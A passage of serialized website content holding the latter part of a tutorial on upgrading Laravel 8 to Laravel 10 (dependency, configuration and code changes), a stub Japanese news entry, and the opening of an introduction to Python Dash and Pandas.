version:",[605,19697,19700],{"className":19698,"code":19699,"language":610},[608],"{\n  \"require\": {\n    \"pusher\u002Fpusher-php-server\": \"^5.0\"\n  }\n}\n",[612,19701,19699],{"__ignoreMap":66},[11,19703,19704,19705,19709],{},"If you use the S3, FTP, or SFTP drivers through ",[55,19706,10389],{"href":19707,"rel":19708},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Ffilesystem#main-content",[59],", you must also change this item version:",[605,19711,19714],{"className":19712,"code":19713,"language":610},[608],"{\n  \"require\": {\n    \"league\u002Fflysystem-aws-s3-v3\": \"^3.0\",\n    \"league\u002Fflysystem-ftp\": \"^3.0\",\n    \"league\u002Fflysystem-sftp-v3\": \"^3.0\"\n  }\n}\n",[612,19715,19713],{"__ignoreMap":66},[11,19717,19718,19719,19722,19723,19726,19727,19730,19731,7323],{},"Furthermore, if you wish to use PHPUnit 10, you should delete the ",[612,19720,19721],{},"processUncoveredFiles=\"true\""," attribute from the ",[612,19724,19725],{},"\u003Ccoverage>"," section of your application's ",[51,19728,19729],{},"phpunit.xml"," configuration file. Then, update the following dependencies in your application's ",[51,19732,19679],{},[605,19734,19737],{"className":19735,"code":19736,"language":610},[608],"{\n  \"require-dev\": {\n    \"nunomaduro\u002Fcollision\": \"^7.0\",\n    \"phpunit\u002Fphpunit\": \"^10.0\"\n  }\n}\n",[612,19738,19736],{"__ignoreMap":66},[565,19740,19742],{"id":19741},"b-removed-packages",[20,19743,19744],{},"b. Removed packages:",[11,19746,19747],{},"These packages are no longer required or used, so you should remove it.",[11,19749,19750],{},[20,19751,19752],{},"Trusted Proxies:",[11,19754,19676,19755,19758],{},[51,19756,19757],{},"app\u002FHttp\u002FMiddleware\u002FTrustProxies.php"," file, update",[11,19760,19761],{},[612,19762,19763],{},"use Fideloper\\Proxy\\TrustProxies as Middleware;",[11,19765,19766],{},"to this",[11,19768,19769],{},[612,19770,19771],{},"use Illuminate\\Http\\Middleware\\TrustProxies as Middleware;",[11,19773,19774,19775,19777],{},"Next, in ",[51,19776,19757],{},", you should update the $headers property definition:",[605,19779,19782],{"className":19780,"code":19781,"language":610},[608],"\u002F\u002F Before...\nprotected $headers = Request::HEADER_X_FORWARDED_ALL;\n\u002F\u002F After...\nprotected $headers =\n    Request::HEADER_X_FORWARDED_FOR |\n    Request::HEADER_X_FORWARDED_HOST |\n    Request::HEADER_X_FORWARDED_PORT |\n    Request::HEADER_X_FORWARDED_PROTO |\n    Request::HEADER_X_FORWARDED_AWS_ELB;\n",[612,19783,19781],{"__ignoreMap":66},[11,19785,19786,19787,19790],{},"Finally, you can remove the ",[51,19788,19789],{},"fideloper\u002Fproxy"," from your application:",[605,19792,19795],{"className":19793,"code":19794,"language":610},[608],"{\n  \"require\": {\n    \u002F\u002F Remove this package\n    \"fideloper\u002Fproxy\": \"^4.4\"\n  }\n}\n",[612,19796,19794],{"__ignoreMap":66},[11,19798,19799],{},[20,19800,19801],{},"Fruitcake\u002Flaravel-cors:",[11,19803,19804,19809,19810,19813],{},[55,19805,19808],{"href":19806,"rel":19807},"https:\u002F\u002Fpackagist.org\u002Fpackages\u002Ffruitcake\u002Flaravel-cors",[59],"This package"," is no longer maintained. And in Laravel 10, it is removed. First, in the ",[51,19811,19812],{},"app\\Http\\Kernel.php,"," you must change the namespace of HandleCors middleware.",[11,19815,19816],{},[612,19817,19818],{},"\\Fruitcake\\Cors\\HandleCors::class",[11,19820,19821],{},"to",[11,19823,19824],{},[612,19825,19826],{},"\\Illuminate\\Http\\Middleware\\HandleCors::class",[11,19828,19829],{},"Then, remove it from composer.json:",[605,19831,19834],{"className":19832,"code":19833,"language":610},[608],"{\n  \"require\": {\n    \u002F\u002F Remove this package\n    \"fruitcake\u002Flaravel-cors\": \"^2.0\"\n  }\n}\n",[612,19835,19833],{"__ignoreMap":66},[565,19837,19839],{"id":19838},"c-packages-replacement",[20,19840,19841],{},"c. Packages Replacement:",[11,19843,19844],{},"Switch these items with their replacement in composer.json.",[605,19846,19849],{"className":19847,"code":19848,"language":610},[608],"{\n  \"require-dev\": {\n    \u002F\u002F Replace this\n    \"facade\u002Fignition\": \"^2.5\"\n    \u002F\u002F With this\n    \"spatie\u002Flaravel-ignition\": \"^1.0\"\n  }\n}\n",[612,19850,19848],{"__ignoreMap":66},[11,19852,19853,19854,19859,19860,712],{},"For the ",[55,19855,19858],{"href":19856,"rel":19857},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fnotifications#sms-notifications",[59],"Laravel SMS Notifications"," feature, you must be aware that Nexmo is now acquired by Vonage. Therefore, make changes to your ",[51,19861,19679],{},[605,19863,19866],{"className":19864,"code":19865,"language":610},[608],"{\n  \"require\": {\n    \u002F\u002F Replace this\n    \"laravel\u002Fnexmo-notification-channel\": \"^2.0\"\n    \u002F\u002F With this\n    \"laravel\u002Fvonage-notification-channel\": \"^3.0\"\n  }\n}\n",[612,19867,19865],{"__ignoreMap":66},[565,19869,19871],{"id":19870},"d-swift-mailer-is-replaced-with-symfony-mailer",[20,19872,19873],{},"d. Swift Mailer is replaced with Symfony Mailer:",[11,19875,19876,19877,19880],{},"One of the largest changes in Laravel 9.x is the transition from ",[20,19878,19879],{},"SwiftMailer",", which is no longer maintained as of December 2021, to Symfony Mailer. To upgrade, run the following command:",[605,19882,19885],{"className":19883,"code":19884,"language":610},[608],"composer remove wildbit\u002Fswiftmailer-postmark\ncomposer require symfony\u002Fmailgun-mailer symfony\u002Fpostmark-mailer symfony\u002Fhttp-client\n",[612,19886,19884],{"__ignoreMap":66},[403,19888,19890],{"id":19889},"run-composer-update","Run \"composer update\":",[11,19892,19893,19894,19896],{},"After making all changes to the ",[51,19895,19679],{},", run the \"composer update\" command. Be aware that all the above packages are just for Laravel basis, so you must also upgrade your project's other dependencies (if required). If you don't upgrade them, they will conflict with Laravel dependencies.",[11,19898,19899],{},"When you have successfully run the command, next, you need to refactor your source code to remove deprecated features so that your project can normally function. Finally, you might want to consider using new features or applying features that changed in the new version of Laravel.",[403,19901,19903],{"id":19902},"configuration-changes","Configuration changes:",[11,19905,19676,19906,19909],{},[51,19907,19908],{},"config\u002Fdatabase.php",", change the 'schema' to 'search_path' for Postgres database configuration:",[605,19911,19914],{"className":19912,"code":19913,"language":610},[608],"'connections' => [\n  'pgsql' => [\n    \u002F\u002F replace this\n    'schema' => 'public',\n    \u002F\u002F by this\n    'search_path' => 'public',\n  ]\n]\n",[612,19915,19913],{"__ignoreMap":66},[11,19917,19918,19919,712],{},"If you are using SFTP through Laravel Storage, in your ",[51,19920,19921],{},"config\u002Ffilesystems.php",[605,19923,19926],{"className":19924,"code":19925,"language":610},[608],"'sftp' => [\n  \u002F\u002F Replace this         \n  'password' => env('SFTP_PASSPHRASE'),\n  \u002F\u002F By this\n  'passphrase' => env('SFTP_PASSPHRASE'),\n]\n",[612,19927,19925],{"__ignoreMap":66},[11,19929,19930,19931,19934,19935,19938],{},"Defining ",[612,19932,19933],{},"stream"," options for the SMTP is no longer supported. Instead, you must define the relevant options directly within the configuration if they are supported. For example, to disable TLS peer verification, you can follow the below configuration. Also, notice that ",[612,19936,19937],{},"auth_mode"," is commented out since this is no longer available in Laravel's new version.",[605,19940,19943],{"className":19941,"code":19942,"language":610},[608],"'smtp' => [\n  \u002F\u002F 'auth_mode' => null,\n\n  \u002F\u002F Laravel 8.x...\n  'stream' => [\n      'ssl' => [\n          'verify_peer' => false,\n      ],\n  ],\n  \u002F\u002F Laravel 9.x...\n  'verify_peer' => false,\n]\n",[612,19944,19942],{"__ignoreMap":66},[403,19946,19948],{"id":19947},"directories-structure-changes","Directories structure changes:",[11,19950,19951],{},"In new Laravel applications, the resources\u002Flang directory is now located in the root project directory (lang). If you've been hardcode the lang directory, you must update it. You should use app()->langPath() instead of a hard-coded path.",[19362,19953],{},[395,19955,19957],{"id":19956},"refactor-your-code","Refactor your code:",[11,19959,19960],{},"There are breaking changes and deprecated features that are required to make changes in the source code when upgrading to Laravel 10. You don't have to change the code for every feature list below because it depends on whether the feature is used by your project.",[403,19962,19964],{"id":19963},"removed-functions","Removed functions:",[11,19966,19967],{},"These functions exist in Laravel 8 but are no longer available in Laravel's newer version. So you need to search for all of them in your source code, then fix it manually.",[11,19969,19970,19977,19978,19981,19982,19985,19986,19989,19990,878],{},[20,19971,19972],{},[55,19973,19976],{"href":19974,"rel":19975},"https:\u002F\u002Flaravel.com\u002Fapi\u002F8.x\u002FIlluminate\u002FSupport\u002FTraits\u002FEnumeratesValues.html",[59],"EnumeratesValues Trait:"," the ",[51,19979,19980],{},"reduceWithKeys()"," method is removed, so you might use ",[51,19983,19984],{},"reduce()"," method instead. And the ",[51,19987,19988],{},"reduceMany()"," method has been renamed to ",[51,19991,19992],{},"reduceSpread()",[11,19994,19995,20002,20003,20006,20007,20009],{},[20,19996,19997],{},[55,19998,20001],{"href":19999,"rel":20000},"https:\u002F\u002Flaravel.com\u002Fapi\u002F8.x\u002FIlluminate\u002FDatabase\u002FSchema\u002FBuilder.html#method_registerCustomDoctrineType",[59],"Illuminate\\Database\\Schema\\Builder::registerCustomDoctrineType()"," method has been removed. You may use the ",[51,20004,20005],{},"registerDoctrineType()"," method on the DB facade instead or register custom Doctrine types in the ",[51,20008,19908],{}," configuration file.",[11,20011,20012,20015],{},[20,20013,20014],{},"Testing:"," All assertDeleted() method calls should be updated to assertModelMissing().",[11,20017,20018,19977,20021,1017,20026,20029,20030,20035],{},[20,20019,20020],{},"Queue:",[55,20022,20025],{"href":20023,"rel":20024},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FBus\u002FDispatcher.html#method_dispatchNow",[59],"Bus::dispatchNow()",[51,20027,20028],{},"dispatch_now()"," methods have been removed. Instead, your application should use the ",[55,20031,20034],{"href":20032,"rel":20033},"https:\u002F\u002Flaravel.com\u002Fapi\u002F10.x\u002FIlluminate\u002FBus\u002FDispatcher.html#method_dispatchSync",[59],"Bus::dispatchSync()"," and dispatch_sync() methods, respectively.",[11,20037,20038,20046,20047,878],{},[20,20039,14684,20040,20045],{},[55,20041,20044],{"href":20042,"rel":20043},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FRouting\u002FRedirector.html#method_home",[59],"Redirect::home()"," method"," has been removed. Instead, your application should redirect to an explicitly named route: ",[612,20048,20049],{},"return Redirect::route('home')",[403,20051,20053,20054],{"id":20052},"deprecated-blade-lazy-collections-the-loop-variable","[Deprecated] - Blade - ",[20,20055,20056],{},"Lazy Collections & The $loop Variable:",[605,20058,20061],{"className":20059,"code":20060,"language":610},[608],"@php\n    use App\\Models\\Car;\n    $cars = Car::cursor();  \u002F\u002F cars lazy collection\n    foreach($cars as $c) {\n        echo $loop->iteration;\n    }\n@endphp\n",[612,20062,20060],{"__ignoreMap":66},[11,20064,20065],{},"In the above snippet, you are trying to use $loop var in a LazyCollection. This is no longer suporrted. This doesn't mean that the $loop var is removed, but you should not use it with LazyCollection because it causes the entire Collection to be loaded into memory (that is not how LazyCollection is supposed to be).",[403,20067,20069],{"id":20068},"removed-storage","[Removed] - Storage:",[11,20071,20072,20073,20078],{},"Storage - Flysystem no longer supports ",[55,20074,20077],{"href":20075,"rel":20076},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F8.x\u002Ffilesystem#composer-packages",[59],"cached-adapters"," feature. You should remove it using the composer command:",[605,20080,20083],{"className":20081,"code":20082,"language":610},[608],"composer require league\u002Fflysystem-cached-adapter\n",[612,20084,20082],{"__ignoreMap":66},[403,20086,20088],{"id":20087},"removed-get-db-expression-string-value","[Removed] Get DB Expression string value:",[11,20090,20091,20092,20097],{},"In the previous version, you might do this to get the ",[55,20093,20096],{"href":20094,"rel":20095},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FDatabase\u002FQuery\u002FExpression.html",[59],"Expression"," string:",[605,20099,20102],{"className":20100,"code":20101,"language":610},[608],"$expression = DB::raw('select * from news');\n$expStr = (string)$expression;\n",[612,20103,20101],{"__ignoreMap":66},[11,20105,20106],{},"But that is no longer supported, instead:",[605,20108,20111],{"className":20109,"code":20110,"language":610},[608],"$expStr = $expression->getValue(DB::connection()->getQueryGrammar());\n",[612,20112,20110],{"__ignoreMap":66},[403,20114,20116],{"id":20115},"removed-eloquent-models-date-property","[Removed] Eloquent model's $date property:",[11,20118,20119],{},"The Eloquent model's deprecated $dates property has been removed.",[605,20121,20124],{"className":20122,"code":20123,"language":610},[608],"protected $dates = [\n    'deployed_at'\n];\n",[612,20125,20123],{"__ignoreMap":66},[11,20127,20128],{},"Your application should now use the $casts property:",[605,20130,20133],{"className":20131,"code":20132,"language":610},[608],"protected $casts = [\n    'deployed_at' => 'datetime',\n];\n",[612,20134,20132],{"__ignoreMap":66},[403,20136,20138],{"id":20137},"removed-testing-service-mocking","[Removed] Testing - Service Mocking:",[11,20140,20141,20142,20147,20148,20151,20152,20155,20156,20161],{},"The deprecated ",[55,20143,20146],{"href":20144,"rel":20145},"https:\u002F\u002Flaravel.com\u002Fapi\u002F9.x\u002FIlluminate\u002FFoundation\u002FTesting\u002FConcerns\u002FMocksApplicationServices.html",[59],"MocksApplicationServices trait"," has been removed from the framework. This trait provided testing methods such as ",[612,20149,20150],{},"expectsEvents(), expectsJobs(), and expectsNotifications()",". If your application uses these methods, we recommend transitioning to ",[612,20153,20154],{},"Event::fake, Bus::fake, and Notification::fake",", respectively. You can learn ",[55,20157,20160],{"href":20158,"rel":20159},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Fmocking",[59],"more about mocking"," via fakes in the corresponding documentation for the component you are attempting to fake.",[403,20163,20165],{"id":20164},"changed-validation-the-password-rule","[Changed] Validation - the 'password' Rule:",[11,20167,20168,20173,20174,878],{},[55,20169,20172],{"href":20170,"rel":20171},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvalidation#rule-password",[59],"The password rule"," validates that the given input value matches the authenticated user's current password and has been renamed to ",[55,20175,20178],{"href":20176,"rel":20177},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fvalidation#rule-current-password",[59],"current_password",[403,20180,20182],{"id":20181},"changed-blade-avoid-overwriting-vue-snippet","[Changed] Blade - Avoid overwriting Vue snippet:",[11,20184,20185,20186,20191,20192,878],{},"Laravel 9 comes with ",[55,20187,20190],{"href":20188,"rel":20189},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Fblade#additional-attributes",[59],"new blade directives"," @diabled, @checked, and @selected that will overwrite your Vue directives. Therefore, to escape it, you must replace them with escaped ones ",[612,20193,20194],{},"@@disabled, @@checked, @@selected",[403,20196,20198],{"id":20197},"changed-collections","[Changed] - Collections:",[11,20200,20201],{},"You can now pass a closure as the first argument into Collection::when(), unless(). In the previous version, the first argument is always treated as a value and will not be executed. Now you can do this.",[605,20203,20206],{"className":20204,"code":20205,"language":610},[608],"$collection->when(function ($collection) {\n  \u002F\u002F This closure is executed...\n  return false;\n}, function ($collection) {\n  \u002F\u002F Not executed since first closure returned \"false\"...\n  $collection->merge([1, 2, 3]);\n});\n",[612,20207,20205],{"__ignoreMap":66},[403,20209,20211],{"id":20210},"changed-eloquent-custom-cast-with-a-null-value","[Changed] - Eloquent - custom cast with a null value:",[11,20213,20214,20215,20220,20221,20224],{},"In Laravel 8, ",[55,20216,20219],{"href":20217,"rel":20218},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Feloquent-mutators#defining-a-mutator",[59],"the mutator set() method"," won't be executed when ",[612,20222,20223],{},"$value = null",". But in Laravel 9, it will be executed. Due to this change, the result of the below snippet is totally different:",[605,20226,20229],{"className":20227,"code":20228,"language":610},[608],"\u002F\u002F In App\\Casts\\FilenameWithTimestamp.php\npublic function set($model, $key, $value, $attributes) {\n  return time() . '_' . $value;\n}\n\n\u002F\u002F In App\\Models\\File.php\nprotected $casts = [\n  'filename' => FilenameWithTimestamp::class\n];\n\n\u002F\u002F Somewhere in your program\n\u002F\u002F With Laravel 8, the result of the echo statement will be: null\n\u002F\u002F With Laravel 9, the result of the echo statement will be: \"20230322_\"\n$file = File::first();\n$file->filename = null;\necho $file->filename;\n\n",[612,20230,20228],{"__ignoreMap":66},[11,20232,20233],{},"As you can see, it makes no sense the filename got prefixed with a timestamp even when it was set to null. So, in Laravel 9, you must handle \"the null case\" for all of your custom casts. E.g.:",[605,20235,20238],{"className":20236,"code":20237,"language":610},[608],"\u002F\u002F In App\\Casts\\FilenameWithTimestamp.php\npublic function set($model, $key, $value, $attributes) {\n  if (empty($value)) {\n    return '';\n  }\n  return time() . '_' . $value;\n}\n",[612,20239,20237],{"__ignoreMap":66},[11,20241,20242],{},"Now it works as expected.",[403,20244,20246],{"id":20245},"changed-storage-throw-exception-behavior","[Changed] Storage - Throw exception behavior:",[11,20248,20249],{},"Previously, Laravel will throw exceptions for failure operations such as reading or deleting unexisting files. But in the newer version, Laravel simply returns the appropriate result, such as false, null, or true,... This change could make an impact on your program if you've been using the try-catch block to handle the failures. Therefore, you either config to the default behavior (like below) or just refactor your code to check for failures (e.g., using if-else block)",[605,20251,20254],{"className":20252,"code":20253,"language":610},[608],"'public' => [\n  'driver' => 'local',\n  \u002F\u002F ...\n  'throw' => true,\n]\n",[612,20255,20253],{"__ignoreMap":66},[403,20257,20259],{"id":20258},"changed-storage-custom-filesystems","[Changed] Storage - Custom Filesystems:",[11,20261,20262],{},"Slight changes have been made to the steps required to register custom filesystem drivers. Therefore, if you were defining your own custom filesystem drivers or using packages that define custom drivers, you should update your code and dependencies.",[11,20264,20265],{},"For example, in Laravel 8.x, a custom filesystem driver might be registered like so:",[605,20267,20270],{"className":20268,"code":20269,"language":610},[608],"use Illuminate\\Support\\Facades\\Storage;\nuse League\\Flysystem\\Filesystem;\nuse Spatie\\Dropbox\\Client as DropboxClient;\nuse Spatie\\FlysystemDropbox\\DropboxAdapter;\n\nStorage::extend('dropbox', function ($app, $config) {\n    $client = new DropboxClient(\n        $config['authorization_token']\n    );\n\n    return new Filesystem(new DropboxAdapter($client));\n});\n",[612,20271,20269],{"__ignoreMap":66},[11,20273,20274],{},"However, in Laravel 9.x, the callback given to the Storage::extend method should return an instance of Illuminate\\Filesystem\\FilesystemAdapter directly:",[605,20276,20279],{"className":20277,"code":20278,"language":610},[608],"use Illuminate\\Filesystem\\FilesystemAdapter;\nuse Illuminate\\Support\\Facades\\Storage;\nuse League\\Flysystem\\Filesystem;\nuse Spatie\\Dropbox\\Client as DropboxClient;\nuse Spatie\\FlysystemDropbox\\DropboxAdapter;\n\nStorage::extend('dropbox', function ($app, $config) {\n    $adapter = new DropboxAdapter(\n        new DropboxClient($config['authorization_token'])\n    );\n\n    return new FilesystemAdapter(\n        new Filesystem($adapter, $config),\n        $adapter,\n        $config\n    );\n});\n",[612,20280,20278],{"__ignoreMap":66},[403,20282,20284],{"id":20283},"changed-migrate-from-swift-mailer-to-symfony-mailer","[Changed] Migrate from Swift Mailer to Symfony Mailer:",[11,20286,20287],{},"In Lavarel 8 and the previous version, Laravel used the Swift Mailer library to send outgoing emails. However, that library is no longer maintained and has been succeeded by Symfony Mailer, which made this transition one of the largest changes. Therefore, you must refactor your code base as below.",[11,20289,20290,20293],{},[20,20291,20292],{},"Renamed \"Swift\" Methods:"," various SwiftMailer-related methods, some of which were undocumented, have been renamed to their Symfony Mailer counterparts. Use the advanced search of your IDE and perform the mass replacement for these methods with the following:",[11,20295,20296],{},[20,20297,20298],{},"MessageSent Event Changes:",[11,20300,20301],{},"Illuminate\\Mail\\Events\\MessageSent event has changed to include an instance of type Symfony\\Component\\Mime\\Email instead of type Swift_Message. This instance contains data about the message before it is sent. At the same time, a new property called sent has been added too. This new property contains data about the message after it is sent, for example, the MessageID.",[11,20303,20304],{},[20,20305,20306],{},"Failed Recipients:",[11,20308,20309],{},"It is no longer possible to retrieve a list of failed recipients after sending a message. Instead, a Symfony\\Component\\Mailer\\Exception\\TransportExceptionInterface exception will be thrown if a message fails to send.",[403,20311,20313],{"id":20312},"comprehensive-exam",[20,20314,20315],{},"Comprehensive Exam:",[11,20317,20318],{},"We have created the exam to check your comprehension of this article. Let’s try it!!",[11,20320,20321],{},[55,20322,4660],{"href":4660,"rel":20323},[59],[403,20325,20326],{"id":3476},[20,20327,201],{},[31,20329,20330,20336,20342,20349,20356,20362,20368],{},[34,20331,20332],{},[55,20333,20334],{"href":20334,"rel":20335},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases",[59],[34,20337,20338],{},[55,20339,20340],{"href":20340,"rel":20341},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases",[59],[34,20343,20344],{},[55,20345,20348],{"href":20346,"rel":20347},"https:\u002F\u002Flaracasts.com\u002Fseries\u002Fwhats-new-in-laravel-9",[59],"Laracasts: What's New in Laravel 9",[34,20350,20351],{},[55,20352,20355],{"href":20353,"rel":20354},"https:\u002F\u002Flaracasts.com\u002Fseries\u002Fwhats-new-in-laravel-10",[59],"Laracasts: What's New in Laravel 10",[34,20357,20358],{},[55,20359,20360],{"href":20360,"rel":20361},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Flaravel\u002Fcompare\u002F8.x...9.x",[59],[34,20363,20364],{},[55,20365,20366],{"href":20366,"rel":20367},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Flaravel\u002Fcompare\u002F9.x...10.x",[59],[34,20369,20370],{},[55,20371,20372],{"href":20372,"rel":20373},"https:\u002F\u002Fsecurity.snyk.io\u002Fpackage\u002Fcomposer\u002Flaravel%2Fframework",[59],{"title":66,"searchDepth":67,"depth":67,"links":20375},[20376,20377,20379,20380,20381,20382,20383,20384,20385,20386,20387,20388,20389,20390,20391,20392,20393,20394,20399,20400,20406,20407,20408,20409,20410,20412,20413,20414,20415,20416,20417,20418,20419,20420,20421,20422,20423,20424],{"id":19248,"depth":67,"text":19249},{"id":19268,"depth":67,"text":20378},"1. Laravel Pennant:",{"id":19301,"depth":67,"text":19302},{"id":19312,"depth":67,"text":19313},{"id":19344,"depth":67,"text":19345},{"id":19370,"depth":67,"text":19371},{"id":19385,"depth":67,"text":19386},{"id":19400,"depth":67,"text":19401},{"id":19411,"depth":67,"text":19412},{"id":19442,"depth":67,"text":19443},{"id":19453,"depth":67,"text":19454},{"id":19468,"depth":67,"text":19469},{"id":19482,"depth":67,"text":19483},{"id":19493,"depth":67,"text":19494},{"id":19504,"depth":67,"text":19505},{"id":19519,"depth":67,"text":19520},{"id":19537,"depth":67,"text":19538},{"id":19554,"depth":67,"text":19555,"children":20395},[20396,20397,20398],{"id":19579,"depth":1306,"text":19580},{"id":19593,"depth":1306,"text":19594},{"id":19604,"depth":1306,"text":19605},{"id":19656,"depth":67,"text":19657},{"id":19663,"depth":67,"text":19664,"children":20401},[20402,20403,20404,20405],{"id":19667,"depth":1306,"text":19670},{"id":19741,"depth":1306,"text":19744},{"id":19838,"depth":1306,"text":19841},{"id":19870,"depth":1306,"text":19873},{"id":19889,"depth":67,"text":19890},{"id":19902,"depth":67,"text":19903},{"id":19947,"depth":67,"text":19948},{"id":19963,"depth":67,"text":19964},{"id":20052,"depth":67,"text":20411},"[Deprecated] - Blade - Lazy Collections & The $loop Variable:",{"id":20068,"depth":67,"text":20069},{"id":20087,"depth":67,"text":20088},{"id":20115,"depth":67,"text":20116},{"id":20137,"depth":67,"text":20138},{"id":20164,"depth":67,"text":20165},{"id":20181,"depth":67,"text":20182},{"id":20197,"depth":67,"text":20198},{"id":20210,"depth":67,"text":20211},{"id":20245,"depth":67,"text":20246},{"id":20258,"depth":67,"text":20259},{"id":20283,"depth":67,"text":20284},{"id":20312,"depth":67,"text":20315},{"id":3476,"depth":67,"text":201},"2023-05-23","Why should you migrate from Laravel 8? Laravel's new version is now released yearly. Changes such as deprecated features and new features keep coming up. Therefore, the more versions ahead from the latest version you are, the more \"painful\" and time-consuming it is to upgrade compared with upgrading regularly. The main reason for this is that you let your codebase grow too large (classes, methods, and functions become more and more dependent on the others), and it is much harder to make any breaking change. Another thing you should be aware of is that since Laravel 10 was released, Laravel 8 is neither in maintenance nor has support. Therefore, the sooner your project gets upgraded, the better things will be.",{},"\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10",{"title":19243,"description":20426},"news\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F06151008\u002Flaravel-8-upgrade-thumbnail.jpg","sBAH7vd5kF2dfd2ZTY3x-Wovxug7WzDr8SCsGvWAYlI",{"id":20434,"title":20435,"body":20436,"category":262,"created by":70,"date":20442,"description":259,"extension":72,"meta":20443,"navigation":74,"path":20444,"sections":76,"seo":20445,"stem":20446,"thumbnail":20447,"__hash__":20448},"content_en\u002Fnews\u002Fto-chuc-kiem-thu.md","(日本語) テストの組織",{"type":8,"value":20437,"toc":20440},[20438],[11,20439,259],{},{"title":66,"searchDepth":67,"depth":67,"links":20441},[],"2025-02-10",{},"\u002Fnews\u002Fto-chuc-kiem-thu",{"title":20435,"description":259},"news\u002Fto-chuc-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F07125742\u002FScreenshot-2025-02-07-125700.png","p0ugP6z02zYUfUMxb74I-1bTVGhLtb-Dlp5txGJnLwk",{"id":20450,"title":20451,"body":20452,"category":1319,"created by":8916,"date":21114,"description":21115,"extension":72,"meta":21116,"navigation":74,"path":21117,"sections":76,"seo":21118,"stem":21119,"thumbnail":21120,"__hash__":21121},"content_en\u002Fnews\u002Ftruc-quan-hoa-du-lieu-bang-python-dash.md","Data Visualization with Python Dash",{"type":8,"value":20453,"toc":21101},[20454,20458,20461,20465,20469,20472,20478,20481,20487,20491,20494,20497,20500,20508,20512,20520,20524,20532,20536,20540,20550,20559,20562,20565,20569,20572,20578,20580,20585,20591,20601,20608,20614,20620,20623,20656,20663,20670,20674,20681,20687,20697,20703,20708,20714,20717,20723,20726,20732,20736,20739,20742,20748,20751,20757,20760,20766,20769,20774,20780,20783,20789,20797,20801,20804,20812,20816,20819,20822,20827,20833,20838,20844,20866,20888,20898,20902,20907,20911,20915,20918,20922,20925,20931,20934,20937,20943,20947,20950,20956,20959,20980,20987,20993,20995,21020,21029,21035,21041,21048,21054,21063,21067,21070,21074,21077,21081,21087,21089,21095],[395,20455,20457],{"id":20456},"introduction-to-dash","Introduction to Dash",[11,20459,20460],{},"Dash is an open source library released under the permissive MIT license. Written on top of Plotly.js and React.js, Dash is ideal for building and deploying data apps with customized user interfaces. Dash is simple enough that you can bind a user interface to your code in less than 10 minutes. Dash apps are rendered in the web browser, so it can run on cross-platform and also mobile devices.",[395,20462,20464],{"id":20463},"dash-tutorial","Dash tutorial",[403,20466,20468],{"id":20467},"dash-installation","Dash Installation",[11,20470,20471],{},"Requires the computer to have Python 3 installed. In the terminal run the following command to install Dash:",[605,20473,20476],{"className":20474,"code":20475,"language":610},[608],"pip install dash\n",[612,20477,20475],{"__ignoreMap":66},[11,20479,20480],{},"With the above command, in addition to dash, pip will also install the graphing support library that is Plotly. And finally we need to install the Pandas library with the command:",[605,20482,20485],{"className":20483,"code":20484,"language":610},[608],"pip install pandas\n",[612,20486,20484],{"__ignoreMap":66},[403,20488,20490],{"id":20489},"about-pandas","About Pandas",[11,20492,20493],{},"Pandas is an open source library released under the permissive BSD license. Pandas provides high-performance, easy-to-use data structures and data analysis tools for the Python programming language.",[11,20495,20496],{},"Pandas provides two main data structures, DataFrame and Series. A DataFrame is a 2D data structure that can store data of different types (including characters, integers, floating point values, categorical data and more) in columns. Each column in a DataFrame is a Series.",[11,20498,20499],{},"There are three common conventions for storing column-oriented data:",[31,20501,20502],{},[34,20503,20504,20507],{},[20,20505,20506],{},"Long-form data"," has one row per observation, and one column per variable. This is suitable for storing and displaying multivariate data i.e. with dimension greater than 2.",[438,20509],{"className":20510,"alt":66,"src":20511,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31142643\u002Flong_form_2.png",[31,20513,20514],{},[34,20515,20516,20519],{},[20,20517,20518],{},"Wide-form data"," has one row per value of one of the first variable, and one column per value of the second variable. This is suitable for storing and displaying 2D data.",[438,20521],{"className":20522,"alt":66,"src":20523,"style":506},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31142738\u002Fwide_form_2.png",[31,20525,20526],{},[34,20527,20528,20531],{},[20,20529,20530],{},"Mixed-form data"," is a hybrid of long-form and wide-form data.",[438,20533],{"className":20534,"alt":66,"src":20535,"style":471},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F12\u002F31142805\u002Fmixed_form.png",[403,20537,20539],{"id":20538},"dash-layout","Dash Layout",[11,20541,20542,20543,20546,20547,878],{},"Dash apps are composed of two parts. The first part is the \"",[51,20544,20545],{},"layout","\" of the app and it describes what the application looks like. The second part describes the interactivity of the application, it's \"",[51,20548,20549],{},"callbacks\"",[11,20551,20552,20553,20556,20557,436],{},"\"",[51,20554,20555],{},"Layout\""," is composed of a tree of \"",[51,20558,14737],{},[11,20560,20561],{},"Dash provides many types of components: Dash HTML Components, Dash Core Components, Dash DataTable, Dash DAQ, Dash Bootstrap 